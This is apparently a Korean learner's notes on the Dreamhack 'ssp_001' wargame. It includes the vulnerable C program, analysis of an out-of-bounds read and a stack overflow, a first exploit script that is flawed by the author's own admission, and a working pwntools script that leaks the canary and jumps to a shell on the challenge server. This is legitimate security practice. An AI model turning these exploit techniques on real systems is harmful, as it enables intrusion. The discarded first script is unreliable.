#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while (1) {
menu();
read(0, select, 2);
switch (select[0]) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
함께 실습에서 배운대로 분석하기
1. 보호기법 탐지
i386 arch로 설정해줘야 함(리틀엔디언도 적용)
canary 존재
2. 취약점 탐색
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
카나리 릭.. /00까지 채워주기
출력 형식 %02x, 2자리 확보 후 소문자 hex값 표시(남은 칸은 0으로 채움)
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
name size 원하는대로 설정 가능 -> 스택 오버플로우 취약점
void get_shell() {
system("/bin/sh");
}
get_shell함수 존재 -> ret에 get_shell 덮기
3. 익스플로잇 시나리오
- 스택 프레임 구조 파악
- get_shell함수 주소 얻기
- 카나리 릭
- name에 페이로드 작성
- 익스플로잇
4. 익스플로잇
-
스택 프레임 구조 파악
box[0x40] | name[0x40] | select[0x2] | idx[0x4] | name_len[0x4] | canary[0x4] | sfp[0x4] | ret[0x4] -
get_shell함수 주소 얻기

리틀 엔디언 적용해서 \xb9\x86\x04\x08
- 카나리 릭
A로 41만큼 채우고
idx 41부터 42,43까지 출력하기
from pwn import *
p=remote('',port)
context.arch='i386'
# 카나리 릭 F부분
p.recvline()
p.recvline()
p.recvline()
p.sendafter(b'> ',b'F')
p.sendafter(b'input : ',b'A'*0x41)
# 카나리 릭 P부분
cnry=['\x00','','','']
for i in range(41,44):
p.recvline()
p.recvline()
p.recvline()
p.sendafter(b'> ',b'P')
s='Element of index '+str(i)+' is : '
p.recvuntil(s)
d=recvn(2)
cnry[i-40]='\x'+d
cnry.reverse() #리틀엔디언..
- name에 페이로드 작성
payload=b'A'*0x40+cnry[0]+cnry[1]+cnry[2]+cnry[3]+b'\xb9\x86\x04\x08'
# name 입력
p.recvline()
p.recvline()
p.recvline()
p.sendafter(b'> ',b'E')
p.sendafter(b'Size : ',len(payload))
p.sendafter(b'Name : ',payload)
p.interactive()
- 익스플로잇
위에 있는 거 수정해서 아래
from pwn import *
p=remote('host3.dreamhack.games',8443)
context.arch='i386'
# 카나리 릭 F부분
p.recvline()
p.recvline()
p.recvline()
p.sendafter(b'> ',b'F')
p.sendafter(b'input : ',b'A'*0x41)
# 카나리 릭 P부분
cnry=['\x00','','','']
for i in range(41,44):
p.recvline()
p.recvline()
p.recvline()
p.sendafter(b'> ',b'P')
p.recvuntil(b' : ')
d=p.recvn(2)
cnry[i-40]=r'\x'+d
cnry.reverse() #리틀엔디언..
payload=b'A'*0x40+cnry[0]+cnry[1]+cnry[2]+cnry[3]+b'\xb9\x86\x04\x08'
# name 입력
p.recvline()
p.recvline()
p.recvline()
p.sendafter(b'> ',b'E')
p.sendafter(b'Size : ',len(payload))
p.sendafter(b'Name : ',payload)
p.interactive()
cnry 릭 부분이 잘못된 거 같은데 라업 보는 게 나을 거 같아서 더 안 고침
라업 보니까 익스플로잇 시나리오부터 잘못했음ㅋ..
익스플로잇
OOB: Out Of Boundary 버퍼의 길이 범위를 벗어나는 인덱스 접근
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
OOB 취약점 존재
canary 값은 128부터 시작(널 바이트)
왜인가 했더니 dummy 값들이 존재…
스택 프레임 구조가 다음과 같았음
idx[0x4] | name_len[0x4] | select[0x2] | box[0x40] | name[0x40] | canary[0x4] | dummy[0x4] | ebp[0x4] | ret[0x4]
스택 분석 꼭 하고 넘어가자 모르는 더미값이 있을 수도 있고 할당된 버퍼가 다를 수도 있음
from pwn import *
# p = process("./ssp_001.txt")
p = remote("host3.dreamhack.games", 8443)
def can(i):
p.sendafter(b">", b"P")
p.sendlineafter(b":", str(i))
p.recvuntil(b": ")
return (int(p.recv(2), 16))
getshell= 0x080486b9
canary = can(129)
canary1 = can(130)
canary2 = can(131)
print(hex(canary))
print(hex(canary1))
print(hex(canary2))
realcan = canary2 * 0x1000000 + canary1 * 0x10000 + canary * 0x100
print(hex(realcan))
p.sendafter(b">", b"E")
p.sendlineafter(b": ", b"1000")
pause()
p.sendafter(b": ", b'a' * (128 - 0x40) + p32(realcan) + b'a' * 8 + p32(getshell))
p.interactive()
